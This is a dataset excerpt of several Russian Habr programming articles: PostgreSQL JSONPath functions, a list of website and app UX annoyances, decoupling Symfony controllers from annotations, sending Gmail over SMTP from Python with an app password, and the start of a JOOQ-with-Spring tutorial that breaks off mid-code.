-> Bitmap Index Scan on house_js_idx
Index Cond: (js @? '$."floor"[*]."apt"[*]?(@."rooms" == 3)'::jsonpath)
(4 rows)
```
У всех функций вида jsonb\_path\_xxx() одинаковая сигнатура:
```
jsonb_path_xxx(
js jsonb,
jsp jsonpath,
vars jsonb DEFAULT '{}',
silent boolean DEFAULT false
)
```
vars — это объект JSONB для передачи переменных JSONPath:
```
SELECT jsonb_path_query_array('[1,2,3,4,5]', '$[*] ? (@ > $x)',
vars => '{"x": 2}');
jsonb_path_query_array
------------------------
[3, 4, 5]
```
Без vars трудно обойтись, когда мы делаем джойн с участием поля типа jsonb в одной из таблиц. Скажем, мы делаем приложение, которое ищет в том самом доме подходящие квартиры для сотрудников, которые записали в анкете свои требования к минимальной площади:
```
CREATE TABLE demands(name text, position text, demand int);
INSERT INTO demands VALUES ('Саша','босс', 85), ('Паша','младший программист', 45);
SELECT jsonb_path_query(js, '$.floor[*].apt[*] ? (@.area >= $min)', vars => jsonb_build_object('min', demands.demand)) FROM house, demands WHERE name = 'Паша';
-[ RECORD 1 ]----+-----------------------------------
jsonb_path_query | {"no": 2, "area": 80, "rooms": 3}
-[ RECORD 2 ]----+-----------------------------------
jsonb_path_query | {"no": 3, "area": 50, "rooms": 2}
-[ RECORD 3 ]----+-----------------------------------
jsonb_path_query | {"no": 4, "area": 100, "rooms": 3}
-[ RECORD 4 ]----+-----------------------------------
jsonb_path_query | {"no": 5, "area": 60, "rooms": 2}
```
Счастливец Паша может выбирать из 4 квартир. Но стоит изменить 1 букву в запросе — с «П» на «С», и выбора не останется! Подойдет только 1 квартира.
Остается еще одно ключевое слово: silent — это флаг, подавляющий обработку ошибок, они на совести программиста.
```
SELECT jsonb_path_query('[]', 'strict $.a');
ERROR: SQL/JSON member not found
DETAIL: jsonpath member accessor can only be applied to an object
```
Ошибка. Но вот так ошибки не будет:
```
SELECT jsonb_path_query('[]', 'strict $.a', silent => true);
jsonb_path_query
------------------
(0 rows)
```
Кстати, об ошибках: в соответствии со стандартом, арифметические ошибки в выражениях не выдают сообщения об ошибке, они на совести программиста:
```
SELECT jsonb_path_query('[1,0,2]', '$[*] ? (1/ @ >= 1)');
jsonb_path_query
------------------
1
(1 row)
```
При вычислении выражения в фильтре перебираются значения массива, среди которых есть и 0, но деление на 0 не генерирует ошибку.
Функции будут работать по-разному в зависимости от выбранного режима: Strict или Lax (в переводе «нестрогий», а то и «расхлябанный», он выбирается по умолчанию). Допустим, мы ищем ключ в режиме Lax в JSON-е, где его заведомо нет:
```
SELECT jsonb '{"a":1}' @? 'lax $.b ? (@ > 1)';
?column?
----------
f
(1 row)
```
Теперь в режиме Strict:
```
SELECT jsonb '{"a":1}' @? 'strict $.b ? (@ > 1)';
?column?
----------
(null)
(1 row)
```
То есть там, где при либеральном режиме мы получали FALSE, при строгом мы получили NULL.
В режиме Lax массив со сложной иерархией [1,2,[3,4,5]] всегда разворачивается в [1,2,3,4,5]:
```
SELECT jsonb '[1,2,[3,4,5]]' @? 'lax $[*] ? (@ == 5)';
?column?
----------
t
(1 row)
```
В режиме Strict число «5» не будет найдено, так как оно не на нижней ступеньке иерархии. Чтобы его найти, придетеся видоизменить запрос, заменив "@" на "@[\*]":
```
SELECT jsonb '[1,2,[3,4,5]]' @? 'strict $[*] ? (@[*] == 5)';
?column?
----------
t
(1 row)
```
В PostgreSQL 12 JSONPath это тип данных. Стандарт ничего не говорит о необходимости нового типа, это свойство имплементации. С новым типом мы получаем полноценную работу с jsonpath при помощи операторов и ускоряющих их работу индексов, уже существующих для JSONB. Иначе пришлось бы интегрировать JSONPath на уровне кода исполнителя и оптимизатора.
О синтаксисе SQL/JSON можно почитать, например, [здесь](https://www.postgresql.org/docs/devel/functions-json.html).
В блоге Олега Бартунова есть о [SQL/JSON standard-2016 conformance](https://obartunov.livejournal.com/200076.html) for PostgreSQL, Oracle, SQL Server and MySQL.
Здесь [презентация](http://www.sai.msu.su/~megera/postgres/talks/sqljson-china-2018.pdf) по SQL/JSON.
А здесь — [введение](https://github.com/obartunov/sqljsondoc/blob/master/README.jsonpath.md) в SQL/JSON. | https://habr.com/ru/post/448612/ | null | ru | null |
# Это ужасно бесит — подборка косяков, постоянно встречающихся от сайта к сайту, от приложения к приложению
Каждый день мы пользуемся десятками различных мобильных приложений и посещаем десятки, если не сотни, всевозможных сайтов. Часто при этом мы сталкиваемся с какими-то их неприятными особенностями — что-то сделано недостаточно продуманно, где-то разработчик запилил фичу спустя рукава. И всё бы ничего, но некоторые из этих моментов по-настоящему вездесущи, встречаются ежедневно и неимоверно раздражают.
В этой статье я попытался перечислить некоторые из таких наиболее распространённых косяков. Если вы отвечаете за разработку/дизайн/менеджмент какого-либо сайта или приложения, пожалуйста, никогда так не делайте. Правда, ну сколько можно...
Приложения, в которых нельзя отключить рекламные пуши
-----------------------------------------------------
Этим почему-то особенно грешат интернет-магазины и сервисы доставки еды. Каждый день ты получаешь бестолковые нетаргетированные рекламные пуши ~~с кучей Emoji~~, а когда приходишь в настройки, надеясь их отключить, тебе предлагают выбор — либо всё, либо ничего. Не хочешь получать рекламу? Тогда не узнаешь и о статусах своих заказов или о том, что курьер с едой уже близко. Это натуральное свинство.
**Ozon** на примере выше — как раз-таки **положительное исключение**, у них можно вырубить рекламу, не отключая действительно важные уведомления. Однако скриншот со спамом получился очень уж сочный, и я не устоял. 😄
Безосновательное разлогинивание
-------------------------------
Почти любой сайт, даже если это какой-нибудь совершенно бестолковый форум держателей домашних хомячков, считает своим долгом разлогинивать тебя каждые несколько дней. Зачем? Чтобы пользователи страдали, ленились заново логиниться и просто переставали проявлять на вашем ресурсе какую-либо активность в виде лайков или комментариев? Тут важно отметить, что это вполне логичное поведение для банковских личных кабинетов и других сервисов, содержащих чувствительные данные. Но такая практика не должна быть повсеместной.
Боитесь, что нерадивый пользователь залогинится, используя чужой или публичный компьютер, и потом забудет вручную выйти из своего аккаунта? Ну так дайте ему выбор в виде соответствующей галочки рядом с полями ввода логина и пароля. Хотя, справедливости ради, встречаются и сайты с такими галочками, которые тем не менее ни на что почему-то не влияют. Привет, **Apple** и **Microsoft**, каждый раз у вас указываю, что меня никогда не надо разлогинивать, и всё равно вы меня разлогиниваете уже через несколько часов. 🤬
Наконец, отдельный котёл в аду должен быть у тех разработчиков, кто реализовывает такое поведение в мобильных приложениях. Да, вы удивитесь, но бывают и такие, причём это не банки и не что-либо подобное. Например, **Lounge Key** — приложение-каталог бизнес-залов в аэропортах мира. Или **«Умный дом»** от **Яндекса**. А ещё **Binance** (криптобиржа), которая и так открывается лишь по Face/Touch ID, но всё равно почему-то выкидывает тебя из аккаунта каждые несколько дней. Вот зачем так делать?
Сброс выбранного города или неверное его отображение
----------------------------------------------------
Друзья, Россия состоит не из одной только Москвы. Я понимаю, что москвичам это вряд ли сколько-нибудь интересно, но вы не представляете, наско́лько бесит, когда каждый раз, заходя в привычный интернет-магазин, ты видишь, что вместо твоего уже ранее выбранного города всё опять сбросилось на Москву. Этим грешат, например, **re:Store** и сайты почти всех российских операторов мобильной связи — **МТС**, **МегаФона** и других.
МегаФонДругой вариант проявления той же проблемы — когда сайт или приложение корректно запоминает твой город, но затем неверно отображает его в своих интерфейсах. Так, например, делает **Тинькофф** **Банк** — ты можешь выбрать в своём профиле какой угодно город или регион, и он даже сохранится, но если затем снова зайти в настройки профиля, там всегда будет написано «г. Москва» (как минимум, в iOS-приложении). Полагаю, потому что все тестировщики банка сидят в Москве и даже не задумываются, что в этом месте их интерфейса может скрываться какой-то баг.
Тинькофф БанкВыбор дат без возможности ввода с клавиатуры
--------------------------------------------
Тут речь в первую очередь о веб-сайтах. Ужасно, когда тебе нужно где-то ввести дату рождения или дату окончания срока действия банковской карты, и ты не можешь сделать это с клавиатуры — просто нажать несколько клавиш. Нет, ты должен курсором тыкать в менюшки, да ещё и зачастую такие, что их приходится долго скроллить сначала до нужного дня, а затем до нужного месяца. Интерактивные пикеры удобны для многих пользователей, но они не должны блокировать клавиатурный ввод, особенно если это ввод платёжных данных. Плюс пикеры зачастую плохо дружат с браузерным автозаполнением форм.
AmazonКстати, если вы добавляете куда-то пикер даты рождения, не поленитесь проставить его дефолтное значение на 1980 – 1990 год вместо сегодняшнего. Абсолютному большинству пользователей так будет ближе до нужного им варианта.
Буквенная клавиатура для телефонных номеров и неуместная автокоррекция ввода
----------------------------------------------------------------------------
Если ваше приложение или мобильная версия сайта имеют поле для ввода номера телефона, не поленитесь проставить ему соответствующий тип контента, чтобы iOS или Android автоматически показали пользователю цифровую клавиатуру вместо буквенной.
Бывают случаи, когда в одном и том же поле пользователь должен иметь возможность ввести как номер телефона, так и, например, электронную почту, однако телефон — более приоритетный вариант. Для подобных кейсов также предусмотрена соответствующая настройка, при которой по дефолту отобразится цифровая клавиатура, но на ней останется возможность перехода к буквам. В контексте, например, iOS-разработки это `UIKeyboardType.namePhonePad`.
Что бесит ещё больше, так это когда ты пытаешься ввести где-то свой логин или E-Mail, но клавиатура упорно всё тебе портит своей автокоррекцией, потому что разработчик сайта или приложения поленился отключить её для соответствующего поля ввода. Либо когда, наоборот, имеется поле, предназначенное для ввода осмысленного текста, но разработчик на кой-то ляд отключил в нём автокоррекцию.
ВКонтактеНа примере выше нарушены сразу все только что описанные мной рекомендации.
Куки 🤦♂️
---------
Если относительно предыдущих пунктов кто-то может сказать, что я просто слишком нервный, то здесь, уверен, со мной согласятся все.
> Наш сайт использует куки, разрешите нам использовать куки, куки-куки-куки...
>
>
Да идите вы к чёрту, до чего же достали всплывающие об этом баннеры на каждом, мать его, сайте! И ладно ещё, если они появляются где-то с краю, но ведь встречаются и случаи, когда весь контент перекрывается таким уведомлением, и тебе приходится полминуты выискивать заветную микрокнопку, которая всё уберёт. Я зашёл к вам из поисковика в первый и последний раз в жизни, просто дайте мне посмотреть контент!
Да, я знаю про правила европейских регуляторов, которые всех к этому обязали. Но не понимаю, почему до сих пор нет во всех браузерах тумблера «разрешить/запретить куки всем и больше меня никогда об этом не спрашивать». А там, где такая настройка всё же имеется, она в большинстве случаев толком не работает. Плюс ещё некоторые дизайнеры зачем-то делают эти плашки ну просто до неприличия огромными и перекрывающими весь контент.
Хоть как-то спастись от «кук» можно при помощи специальных браузерных расширений, но разве это нормально..?
---
Думаю, хватит пока. 🙈
У меня на примете есть ещё пара десятков других подобных моментов. Напишу о них в продолжении, если эта, первая, часть кому-нибудь зайдёт. Спасибо за внимание! | https://habr.com/ru/post/709494/ | null | ru | null |
# Избавьтесь от аннотаций в своих контроллерах!
В [предыдущей части](http://habrahabr.ru/post/227781/) этой серии мы понизили связанность симфонийского контроллера и фреймворка, удалив зависимость от базового класса контроллера из `FrameworkBundle`. А в этой части мы избавимся от некоторых неявных зависимостей, которые появляются из-за аннотаций.
Теперь давайте посмотрим на аннотации. Первоначально они были подключены для ускорения разработки (исчезает потребность редактировать конфигурационный файл, просто решайте проблемы прямо на месте!):
```
namespace Matthias\ClientBundle\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Template;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter;
/**
* @Route("/client")
*/
class ClientController
{
/**
* @Route('/{id}')
* @Method("GET")
* @ParamConverter(name="client")
* @Template
*/
public function detailsAction(Client $client)
{
return array(
'client' => $client
);
}
}
```
Когда вы подключите эти аннотации, `detailsAction` будет выполнена, когда URL совпадет с шаблоном `/client/{id}`. Конвертер параметров получит из БД сущность клиента на основании параметра `id`, который будет извлечен из УРЛа роутером. И аннотация `@Template` укажет на то, что возвращаемый массив является набором переменных для шаблона `Resources/views/Client/Details.html.twig`.
Отлично! И всего в несколько строк кода. Но все эти автомагические вещи незаметно связывают наш контроллер с фреймворком. Пусть явных зависимостей тут и нет, есть несколько зависимостей неявных. Контроллер будет работать только при подключенном `SensioFrameworkExtraBundle` в силу следующих причин:
1. Он (SensioFrameworkExtraBundle) генерирует роутинг на основе аннотаций
2. Он заботится о превращении возвращаемого массива в корректный объект `Response`
3. Он угадывает, какой шаблон нужно применить
4. Он превращает параметр `id` из запроса в реальную модель
Казалось бы, не так это все и страшно, но `SensioFrameworkExtraBundle` — бандл, а значит, что работает он только в контексте приложения Symfony 2. Но мы же не хотим быть привязанными к конкретному фреймворку (в этом, собственно, суть этой серии постов), так что от этой зависимости нам надо избавиться.
Вместо аннотаций мы будем использовать обычные конфигурационные файлы и PHP-код.
##### Используем конфигурацию роутера
В первую очередь убедимся, что наши роуты подключаются в `Resources/config/routing.xml`:
```
xml version="1.0" encoding="UTF-8" ?
client\_controller:detailsAction
```
Можете использовать YAML, но я последнее время что-то подсел на XML.
Убедитесь, что сервис `client_controller` на самом деле существует, и не забудьте импортировать новый `routing.xml` в настройках приложения, в файле `app/config/routing.yml`:
```
MatthiasClientBundle:
resource: @MatthiasClientBundle/Resources/config/routing.xml
```
Теперь можно убрать аннотации `@Route` и `@Method` из класса контроллера!
##### Самостоятельно создавайте объект Response
Теперь, вместо того, чтобы надеяться на аннотацию `@Template`, вы вполне можете рендерить шаблон самостоятельно, и создавать объект Response, содержащий результат рендеринга. Вам просто надо инъектировать шаблонизатор в ваш контроллер, и указать имя шаблона, который вы хотите отрендерить:
```
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Template;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter;
use Symfony\Component\Templating\EngineInterface;
use Symfony\Component\HttpFoundation\Response;
class ClientController
{
private $templating;
public function __construct(EngineInterface $templating)
{
$this->templating = $templating;
}
/**
* @ParamConverter(name="client")
*/
public function detailsAction(Client $client)
{
return new Response(
$this->templating->render(
'@MatthiasClientBundle/Resources/views/Client/Details.html.twig',
array(
'client' => $client
)
)
);
}
}
```
В объявлении сервиса для этого контроллера также надо указать сервис `@templating` как аргумент конструктора:
```
services:
client_controller:
class: Matthias\ClientBundle\Controller\ClientController
arguments:
- @templating
```
После этих изменений можно смело убирать аннотацию `@Template`
##### Самостоятельно получайте требуемые данные
И еще один шаг, чтобы понизить связанность нашего контроллера. Мы по-прежнему зависим от `SensioFrameworkExtraBundle`, он автоматически превращает параметр `id` из запроса в реальные сущности. Это должно быть несложно исправить, мы ведь можем просто получать сущность сами, используя репозиторий сущностей напрямую:
```
...
use Doctrine\Common\Persistence\ObjectRepository;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
class ClientController
{
private $clientRepository;
...
public function __construct(ObjectRepository $clientRepository, ...)
{
$this->clientRepository = $clientRepository;
...
}
public function detailsAction(Request $request)
{
$client = $this->clientRepository->find($request->attributes->get('id'));
if (!($client instanceof Client) {
throw new NotFoundHttpException();
}
return new Response(...);
}
}
```
Объявление сервиса должно возвращать нужный нам репозиторий. Мы добьемся этого вот таким способом:
```
services:
client_controller:
class: Matthias\ClientBundle\Controller\ClientController
arguments:
- @templating
- @client_repository
client_repository:
class: Doctrine\Common\Persistence\ObjectRepository
factory_service: doctrine
factory_method: getRepository
public: false
arguments:
- "Matthias\ClientBundle\Entity\Client"
```
Наконец, мы избавились от аннотаций, значит, наш контроллер вполне можно использовать вне приложения Symfony 2 (то есть такого, которое не зависит ни от `FrameworkBundle`, ни от `SensioFrameworkExtraBundle`). Все зависимости явные, то есть чтобы контроллер заработал, вам нужны:
— компонент HttpFoundation (для классов `Response` и `NotFoundHttpException`)
— шаблонизатор (для `EngineInterface`)
— какая-либо реализация репозиториев Doctrine (Doctrine ORM, Doctrine MongoDB ODM, ...)
— Twig для шаблонизации
Остался только один слабый момент: имена наших шаблонов все еще основаны на соглашениях фреймворка (т.е. используют имя бандла в качестве пространства имен, напр. `@MatthiasClientBundle/...`). Это неявная зависимость от фреймворка, поскольку эти пространства имен регистрируются в загрузчике из файловой системы Twig. В [следующем посте](http://habrahabr.ru/post/227841/) мы разберемся и с этой проблемой тоже. | https://habr.com/ru/post/227787/ | null | ru | null |
# Полковнику никто не пишет. Отправка писем по SMTP после изменения политики Google. С примером на Python
Начало
------
Недавно Google [изменил политику](https://support.google.com/accounts/answer/6010255) по отношению к доступу к аккаунту из неизвестных источников. Давно приходили предупреждения, но я до последнего надеялся, что обойдется и не коснется меня. Наивный.
Докатилось до меня где-то в середине июня. Однажды, смотря логи одного из моих проектов, наткнулся на ошибку авторизации при попытке отправки электронного письма.
Переписывать все под новый протокол или менять домен не очень-то хотелось. Меня же все устраивало. Так что крупные изменения оставил на крайний случай.
Настройки Google аккаунта
-------------------------
Да, решение находится именно здесь. Все просто, хотя я дошел до этого не сразу и именно поэтому пишу эту ~~статью~~ заметку.
**Для начала, нужно включить двухфакторную аутентификацию в аккаунте, с которого вы собираетесь отправлять письма. Это важно.**
После этого, в Chrome нажимаем на “**Manage your Accounts**” →**Безопасность**. Ищем блок “**Вход в аккаунт**” и нажимаем на “**Пароли приложений**”.
Экран "Пароли приложений"В выпадашке “**Приложение**” выбираем “**Другое**”, вводим имя и, наконец, “**Создать**”.
В появившемся окне, на желтом фоне будет пароль.
Экран с паролемТеперь этот пароль мы и будем использовать для отправки почты с помощью скрипта на вашем любимом языке программирования.
Те, кто уже использует отправку в своих проектах, просто замените пароль в конфигах. А те, кто только собираются — читайте дальше.
Пример на Python
----------------
Далее следует простейший скрипт отправки. Я убрал все (отлов исключений, логирование, цикл попыток отправки и т.д.), кроме самой сути.
```
import smtplib as smtp
login = 'gmail почта, с которой будет производится отправка'
password = 'пароль, который мы получили выше'
server = smtp.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(login, password)
subject = 'какая-нибудь тема письма. может быть пустой'
text = 'основной текст письма. тоже можно оставить пустым'
server.sendmail(login, 'адрес получателя', f'Subject:{subject}\n{text}')
```
**Письма, содержащие кириллицу, не отправятся.**
Но если очень хочетсяПросто оберните тему и текст в MIMEText.
```
import smtplib as smtp
from email.mime.text import MIMEText
from email.header import Header
login = 'gmail почта, с которой будет производится отправка'
password = 'пароль, который мы получили выше'
server = smtp.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(login, password)
subject = 'какая-нибудь тема письма. может быть пустой'
text = 'основной текст письма. тоже можно оставить пустым'
mime = MIMEText(text, 'plain', 'utf-8')
mime['Subject'] = Header(subject, 'utf-8')
server.sendmail(login, 'адрес получателя', mime.as_string())
```
Заключение
----------
В этой ~~статье~~ заметке был рассмотрен способ востановления возможности автоматической отправки электронных писем. И приведен пример скрипта на **python**.
Буду очень благодарен, если вы в коментариях напишите ваши способы автоматического взаимодействия с электронной почтой. Наверняка, это кому-то очень поможет.
Если кому интересно, вот мой [**микросервис**](https://github.com/vallenov/MessageSender) для отправки сообщений в телеграм бот и по электронной почте. | https://habr.com/ru/post/675130/ | null | ru | null |
# JOOQ и его кроличья нора. Как выжить без Hibernate
В этой статье я не буду топить за JOOQ. Я предпочитаю Hibernate и всю силу Spring Data JPA, которая за ним стоит. Но статья будет не о них.
Когда мы пользуемся Hibernate и Spring Data JPA, нам не нужно задумываться о внутренних процессах — знай ставь аннотации и пиши правильные имена методов в репозитории — остальное за тебя сделают эти два монстра. В случае в JOOQ, к сожалению для многих, придётся малость напрячься и написать больше, чем *findAllByUserId(Long userId)*.
Что такое JOOQ?
---------------
Напишем простой SQL-запрос:
```
select * from countries c where c.population > 10000000;
```
Это запрос мы можем выполнить в консоли. Окей.
Нам не хочется в консоли. Нам хочется, чтобы этот запрос отправляло наше приложение. Чтобы это был не одноразовый скрипт и чтобы он валидировался хотя бы на синтаксис. Делаем это через Spring Data JPA:
```
List findAllByPopulationAfter(Long amount);
```
Выполняется тот же самый запрос, что и выше, но силами Spring.
Какие явные плюсы такого подхода? Его выполняет мощный фреймворк, он же валидирует запрос на наличие ошибок. Но и управление запросами берёт на себя фреймворк. А нам хочется полностью управлять запросом, но в то же время, чтобы запрос был полностью отвалидирован.
Используем *[Query](https://habr.com/ru/users/query/)*:
```
@Query("select c from Country c where c.population > :amount")
List findAllPopulationGreaterThan(@Param("amount") Long amount);
```
Годится и такой компромисс между SQL и DSL. Но если мы не хотим мараться об SQL, нам будет приятно видеть что-то вроде:
```
return dsl.selectFrom(COUNTRIES)
.where(COUNTRIES.POPULATION.greaterThan(amount))
.fetch();
```
Для этого подойдут несколько библиотек:
*QueryDSL
JOOQ
Speedment*
Про QueryDSL я [писал](https://habr.com/ru/post/344450/) пару лет назад. Speedment я не копал, но это, похоже, уже нечто большее, чем простой DSL-генератор, плюс придётся подучить методы, которыми они зашифровали команды SQL-запросов. В общем, сегодня мы поговорим о JOOQ.
Запросы JOOQ
------------
Да, один из таких запросов мы уже видели выше:
```
return dsl.selectFrom(COUNTRIES)
.where(COUNTRIES.POPULATION.greaterThan(amount))
.fetch();
```
Какие бывают ещё?
Например, простой get-запрос:
```
return dsl.selectFrom(Countries.COUNTRIES)
.where(Countries.COUNTRIES.ID.eq(id))
.fetchAny();
```
Или insert-запрос:
```
return dsl.insertInto(Countries.COUNTRIES)
.set(Countries.COUNTRIES.NAME, country.getName())
.set(Countries.COUNTRIES.POPULATION, country.getPopulation())
.set(Countries.COUNTRIES.GOVERNMENT_FORM, nameOrNull(country.getGovernmentForm()))
.returning()
.fetchOne();
```
Как видим, всё понятно, ничего лишнего. Но это только на первый взгляд. Выяснение, насколько глубока эта кроличья нора, может занять несколько недель.
Но начнём с начала.
Да, это будет Maven
-------------------
Я предпочитаю Gradle. Но разработчики JOOQ почему-то уделяют Gradle меньше внимания, предлагая идти за плагинами к сторонним разработчикам. Окей, учебный проект будет на Maven. Но если ты, уважаемый читатель, покопался как следует в глубинах гитхаба и готов явить полностью настроенный проект на Gradle — пиши мне, и ты станешь соавтором этой статьи. Это же касается и H2 (учебный проект будет на PostgreSQL).
**Почему у меня не получилось с Gradle и H2**Я полдня потратил на то, чтобы завести генератор сущностей через Gradle. И после очередной неудачной попытки я решил оставить лавры укротителя jooq-generator потомкам. Вторые полдня я пытался сгенерировать сущности с базы на H2, но «маленькая победоносная война» со схемами H2 всё больше виделась не такой уж маленькой и победоносной, поэтому эти лавры, дорогой читатель, так же могут стать твоими.
Необходимые зависимости Maven:
```
org.springframework.boot
spring-boot-starter-jooq
org.springframework.boot
spring-boot-starter-web
org.flywaydb
flyway-core
org.postgresql
postgresql
runtime
org.apache.commons
commons-lang3
${commons.lang3.version}
org.projectlombok
lombok
true
org.springframework.boot
spring-boot-starter-test
test
org.junit.vintage
junit-vintage-engine
org.jooq
jooq
${jooq.version}
org.jooq
jooq-meta
${jooq.version}
org.jooq
jooq-codegen
${jooq.version}
```
У Spring уже есть JOOQ стартер, который самонастраивает DataSource в соответствии с указанными настройками из application.yml. Но для полноценной работы JOOQ этого мало. Необходимо сгенерировать сущности. Да-да, мы не пишем сущности, а генерируем их. Так называемый подход table-first.
Обычная структура приложения в фокусе на работе с базой данных выглядит так:
До сервисного слоя данные путешествуют по приложению в виде плоской модели (DTO). Далее, когда сервису надо поработать с базой, он преобразует DTO в сущность, отправляет в репозиторий, а тот уже сохраняет её в базу. Разработчики JOOQ видят всё иначе:
Как мы видим, в JOOQ всерьёз пересмотрели стандартный паттерн и решили идти своим путём. Отличия существенны:
1. Преобразование DTO в сущность происходит уже в репозитории.
2. Сущность как таковую мы не пишем. Её пишет за нас генератор JOOQ.
Уже этого достаточно, чтобы сделать выводы, что JOOQ не так прост. Сложно настраиваемая генерируемая сущность, непонятный маппинг в DTO и прочие сложности отпугнут многих. Но в тех случаях, когда деваться некуда, направленное изучение этих аспектов JOOQ может серьёзно увлечь и занять дни, а то и недели. Уверен, мой пост существенно сэкономит Ваше время.
Мы затронем следующие аспекты работы с JOOQ:
* Генерация сущностей.
* Написание запросов CRUD.
* Оптимизация запросов CRUD.
* И ещё одна оптимизация запросов CRUD.
* Мапинг сущностей силами стандартной библиотеки JOOQ.
* и порассуждаем о том, зачем всё это надо.
Ну, поехали.
Что мы напишем?
---------------
Наш проект будет иметь две сущности:
Country:
```
@Data
public class Country {
private Long id;
private String name;
private GovernmentForm governmentForm;
private Integer population;
private List cities;
}
```
City:
```
@Data
public class City {
private Long id;
private Long countryId;
private String name;
}
```
Связь один-ко-многим. Country содержит множество связанных City. City содержит countryId.
Flyway-миграция выглядит так:
```
create table countries
(
id bigserial primary key,
name varchar(255),
government_form varchar(255),
population int
);
create table cities
(
id bigserial primary key,
country_id bigint,
name varchar(255)
);
```
Начнём с генерации сущностей
----------------------------
Сущности, как я уже сказал, генерируются отдельно. Есть два способа это сделать.
* Посредством плагина Maven.
* В Java-коде.
Генерируем сущности в Maven
---------------------------
Когда происходит сборка проекта, Maven запускает генератор и генерирует сущности. А можно вызвать генератор в любой удобный момент и сгенерировать сущности. Это требуется в те моменты, когда, допустим, поменялась структура базы. Плагин в Maven выглядит так:
```
org.jooq
jooq-codegen-maven
${jooq.version}
generate-sources
generate
${db.driver}
${db.url}
${db.username}
${db.password}
.\*
flyway\_schema\_history
public
true
ru.xpendence.jooqexample.domain
target/generated-sources/jooq
```
Если вы всё сделали правильно, обновите Maven и среди плагинов увидите jooq-codegen.
Запустите его. Он сгенерирует вам сущности.
Это те самые сущности, которые Вы будете использовать для доступа к базе. Первая неприятность: они неизменяемы. То есть, они изменяемы, но изменение типов происходит таким хитровыдуманным способом, что это описание процесса потянет на отдельную статью. Поэтому постарайтесь продумать типы данных на этапе формирования таблиц.
Сущности выглядят своеобразно. Вот, например, сигнатура класса CountriesRecord:
```
public class CountriesRecord extends UpdatableRecordImpl implements Record4 {
//...
```
Как мы видим, CountriesRecord имплементит Record4, который типизируется 4-мя типами. В таблице countries 4 колонки, потому и Record4. Вот в cities 3 колонки, поэтому Record3. Зачем это было придумано, я не знаю. Всего в библиотеки JOOQ 22 таких рекорда, Record1...Record22. Из чего можно сделать вывод, что возможности JOOQ ограничены обработкой таблиц с максимумом в 22 колонки, но это не так. У меня есть таблицы на несколько десятков колонок, и JOOQ просто сразу имплементит от Record. Ну, такое…
Генерация сущностей JOOQ в Java-коде выглядит следующим образом:
```
@Component
public class AfterStartupApplicationListener implements ApplicationListener {
@Value("${spring.datasource.driver-class-name}")
private String driver;
@Value("${spring.datasource.url}")
private String url;
@Value("${spring.datasource.username}")
private String username;
@Value("${spring.datasource.password}")
private String password;
@Value("${jooq.generator.database.name}")
private String databaseName;
@Value("${jooq.generator.database.with-includes}")
private String databaseWithIncludes;
@Value("${jooq.generator.database.with-input-schema}")
private String databaseWithInputSchema;
@Value("${jooq.generator.target.package-name}")
private String targetPackageName;
@Value("${jooq.generator.target.directory}")
private String targetDirectory;
@SneakyThrows
@Override
public void onApplicationEvent(ContextRefreshedEvent contextRefreshedEvent) {
new GenerationTool().run(configureGenerator());
}
private Configuration configureGenerator() {
return new Configuration()
.withJdbc(new Jdbc()
.withDriver(driver)
.withUrl(url)
.withUser(username)
.withPassword(password))
.withGenerator(new Generator()
.withDatabase(new Database()
.withName(databaseName)
.withIncludes(databaseWithIncludes)
.withExcludes("")
.withInputSchema(databaseWithInputSchema))
.withTarget(new Target()
.withPackageName(targetPackageName)
.withDirectory(targetDirectory)));
}
}
```
В моём случае, генератор запускается после полного старта приложения, когда накатились все новые миграции и база в актуальном состоянии.
Итак, мы имеем модели, имеем сущности, имеем базу. Пора создавать репозиторий и писать запросы.
Создание репозитория
--------------------
Все запросы ходят через DslContext. Заавтовайрим DslContext.
```
@Repository
@RequiredArgsConstructor
public class CountryRepository implements CrudRepository {
private final DSLContext dsl;
}
```
Репозиторий готов.
Написание запросов CRUD
-----------------------
### Insert
Если бы мы пользовались SQL, запрос на добавление ещё одной страны был бы таким:
```
insert into countries(name, government_form, population)
values ('Габон какой-нибудь', 'UNITARY', 100500) returning *;
```
В JOOQ запрос максимально приближен к синтаксису SQL:
```
public Country insertValues(Country country) {
return dsl.insertInto(Countries.COUNTRIES) //insert into countries
.values(country.getId(), country.getName(), country.getPopulation(), nameOrNull(country.getGovernmentForm())) //values (? ? ? ?)
.returning() //returning
.fetchOne() //*
.into(Country.class);
}
```
Как мы видим, ничего сложного. Впрочем, такой запрос нам не подходит, потому что в нашем случае ID генерируется в базе и мы должны это учесть. Если же мы напишем что-то вроде:
```
.values(null, country.getName(), country.getPopulation(), nameOrNull(country.getGovernmentForm()))
```
мы получим
```
org.postgresql.util.PSQLException: ОШИБКА: нулевое значение в столбце "id" нарушает ограничение NOT NULL
```
Впрочем, если бы мы генерировали ID на стороне приложения, такой запрос бы прокатил. Нам придётся переписать запрос, задав каждому полю конкретное значение. Так тоже можно:
```
public Country insert(Country country) {
return dsl.insertInto(Countries.COUNTRIES)
.set(Countries.COUNTRIES.NAME, country.getName())
.set(Countries.COUNTRIES.POPULATION, country.getPopulation())
.set(Countries.COUNTRIES.GOVERNMENT_FORM, nameOrNull(country.getGovernmentForm()))
.returning()
.fetchOne()
.into(Country.class);
}
```
В данном случае, мы вручную сетим объект в поле. Этот вариант вполне рабочий, но есть и получше. Было бы идеально отправлять на сохранение весь объект, как это делается в Spring Data JPA:
```
repository.save(country);
```
Можно и так. Для этого нам нужно смапить нашу модель в сущность extends Record и отправить на сохранение:
```
public Country insert(Country country) {
return dsl.insertInto(Countries.COUNTRIES)
.set(dsl.newRecord(Countries.COUNTRIES, country)) //мапим модель в сущность
.returning()
.fetchOptional()
.orElseThrow(() -> new DataAccessException("Error inserting entity: " + country.getId()))
.into(Country.class);
}
```
Этот способ является максимально простым и понятным для тех случаев, когда нам не нужно настраивать мапинг. Но о настройке мапинга будет ниже.
Как мы заметили, данный запрос возвращает сущность целиком. Вы можете определить, что именно Вам нужно вернуть в методе fetch(). Выглядит это так:
```
public Long insertAndReturnId(Country country) {
return dsl.insertInto(Countries.COUNTRIES)
